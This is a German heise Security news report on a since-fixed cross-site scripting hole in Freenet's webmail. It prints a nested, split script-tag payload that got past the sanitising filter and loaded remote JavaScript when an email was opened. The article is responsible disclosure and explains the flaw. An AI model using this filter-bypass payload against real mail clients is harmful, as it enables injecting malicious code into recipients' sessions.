Angreifer konnten beliebigen Javascript-Code einschleusen.
Im Zuge von Recherchen zum einem c’t-Artikel über Privatsphäre im E-Mail-Verkehr ist heise Security auf eine Javascript-Sicherheitslücke in der Webmail-Anwendung von Freenet gestoßen. Die Sicherheitsvorkehrungen des Webmail-Clients entfernten Javascript-Tags auf ungenügende Weise, so dass ein Angreifer sie mit einem Trick aushebeln konnte. So war es dann möglich, Schadcode in E-Mails einzubetten, der beim Lesen in der Web-Applikation ausgeführt wurde. Nachdem heise Security das Telekommunikationsunternehmen über die Lücke informiert hat, wurde diese noch am selben Tag geschlossen.
Um den Sicherheitsfilter zu überlisten, musste ein Angreifer seine <script>-Tags nur zerstückeln und dazwischen einen zweiten Satz Tags einbetten. Das ganze sah folgendermaßen aus:
<sc<script></script>ript type=“text/javascript“ src=“http://www.heise.de/security/dienste/browsercheck/tests/script-msg.js“></sc<script></script>ript>
Der Freenet-Filter entfernte dabei den inneren, kompletten Tag (rot), was dazu führte, dass der zerstückelte Tag (blau) zu einem gültigen HTML-Befehl zusammengesetzt wurde:
<script type=“text/javascript“ src=“http://www.heise.de/security/dienste/browsercheck/tests/script-msg.js“></script>
Nach dem Durchlauf des Filters bleibt also ausführbarer Code übrig und wird beim Lesen der E-Mail auch korrekt verarbeitet. Ein besserer Filter hätte alles entfernt, was sich zu einem <script>-Befehl zusammenfügen lässt.
Wie gefährlich die durch den nachlässigen Filter entstandene Lücke war, zeigt das vorangegangene Beispiel. Durch das Einschleusen der <script>-Tags lässt sich beliebiger Javascript-Code von einer anderen Webseite nachladen und im Kontext des Freenet-Clients anzeigen. Auf diese Weise wäre es möglich gewesen, Freenet-Kunden mit Schadcode zu infizieren, indem man ihnen eine E-Mail schickt. Das Öffnen der E-Mail hätte genügt, um die Falle zuschnappen zu lassen. (fab[1])
zusätzliche Ressourcen boni